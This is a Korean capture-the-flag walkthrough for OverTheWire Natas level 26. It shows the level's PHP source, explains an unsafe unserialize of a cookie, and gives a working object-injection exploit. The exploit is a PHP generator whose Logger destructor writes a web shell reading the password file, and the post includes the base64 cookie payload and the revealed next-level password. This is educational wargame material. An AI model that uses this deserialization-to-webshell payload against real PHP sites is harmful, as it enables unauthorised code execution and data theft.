[OverTheWire:Natas] natas 25 → 26 / natas26

 

좌표에 맞춰서 선을 그려주는 것 같다.

 

소스코드

<?php
    // sry, this is ugly as hell.
    // cheers kaliman ;)
    // - morla
    
    class Logger{
        private $logFile;
        private $initMsg;
        private $exitMsg;
      
        function __construct($file){
            // initialise variables
            $this->initMsg="#--session started--#\n";
            $this->exitMsg="#--session end--#\n";
            $this->logFile = "/tmp/natas26_" . $file . ".log";
      
            // write initial message
            $fd=fopen($this->logFile,"a+");
            fwrite($fd,$initMsg);
            fclose($fd);
        }                       
      
        function log($msg){
            $fd=fopen($this->logFile,"a+");
            fwrite($fd,$msg."\n");
            fclose($fd);
        }                       
      
        function __destruct(){
            // write exit message
            $fd=fopen($this->logFile,"a+");
            fwrite($fd,$this->exitMsg);
            fclose($fd);
        }                       
    }
 
    function showImage($filename){
        if(file_exists($filename))
            echo "<img src=\"$filename\">";
    }

    function drawImage($filename){
        $img=imagecreatetruecolor(400,300);
        drawFromUserdata($img);
        imagepng($img,$filename);     
        imagedestroy($img);
    }
    
    function drawFromUserdata($img){
        if( array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
            array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){
        
            $color=imagecolorallocate($img,0xff,0x12,0x1c);
            imageline($img,$_GET["x1"], $_GET["y1"], 
                            $_GET["x2"], $_GET["y2"], $color);
        }
        
        if (array_key_exists("drawing", $_COOKIE)){
            $drawing=unserialize(base64_decode($_COOKIE["drawing"]));
            if($drawing)
                foreach($drawing as $object)
                    if( array_key_exists("x1", $object) && 
                        array_key_exists("y1", $object) &&
                        array_key_exists("x2", $object) && 
                        array_key_exists("y2", $object)){
                    
                        $color=imagecolorallocate($img,0xff,0x12,0x1c);
                        imageline($img,$object["x1"],$object["y1"],
                                $object["x2"] ,$object["y2"] ,$color);
            
                    }
        }    
    }
    
    function storeData(){
        $new_object=array();

        if(array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
            array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){
            $new_object["x1"]=$_GET["x1"];
            $new_object["y1"]=$_GET["y1"];
            $new_object["x2"]=$_GET["x2"];
            $new_object["y2"]=$_GET["y2"];
        }
        
        if (array_key_exists("drawing", $_COOKIE)){
            $drawing=unserialize(base64_decode($_COOKIE["drawing"]));
        }
        else{
            // create new array
            $drawing=array();
        }
        
        $drawing[]=$new_object;
        setcookie("drawing",base64_encode(serialize($drawing)));
    }
?>

<h1>natas26</h1>
<div id="content">

Draw a line:<br>
<form name="input" method="get">
X1<input type="text" name="x1" size=2>
Y1<input type="text" name="y1" size=2>
X2<input type="text" name="x2" size=2>
Y2<input type="text" name="y2" size=2>
<input type="submit" value="DRAW!">
</form> 

<?php
    session_start();

    if (array_key_exists("drawing", $_COOKIE) ||
        (   array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
            array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET))){  
        $imgfile="img/natas26_" . session_id() .".png"; 
        drawImage($imgfile); 
        showImage($imgfile);
        storeData();
    }
    
?>

drawFromUserData 함수는 쿠키값을 base64로 디코딩해 unserialize해 사용한다. object injection이 가능함을 알 수 있다.

Logger 클래스가 있는데 생성자와 소멸자로 보이는 함수가 있다. (php에서 제공하는 magic method)

storeData는 new_object 배열을 생성해 입력받은 좌표값을 저장한다.

 

 

serialized data를 얻기 위한 php 코드

<?php
class Logger{
  private $logFile;
  private $initMsg;
  private $exitMsg;
  function __construct(){
    $this->initMsg="";
    $this->exitMsg="<?php include '/etc/natas_webpass/natas27';?>";
    $this->logFile="img/pass.php";
  }
}
  $code = new Logger();
  echo base64_encode(serialize($code));
?>

 

drawing에 넣을 문자열

Tzo2OiJMb2dnZXIiOjM6e3M6MTU6IgBMb2dnZXIAbG9nRmlsZSI7czoxMjoiaW1nL3Bhc3MucGhwIjtzOjE1OiIATG9nZ2VyAGluaXRNc2ciO3M6MDoiIjtzOjE1OiIATG9nZ2VyAGV4aXRNc2ciO3M6NDU6Ijw/cGhwIGluY2x1ZGUgJy9ldGMvbmF0YXNfd2VicGFzcy9uYXRhczI3Jzs/PiI7fQ==

 

 

natas 화면

 

/img/pass.php

55TBjpPZUUJgVP5b3BnbG6ON9uDPVzCJ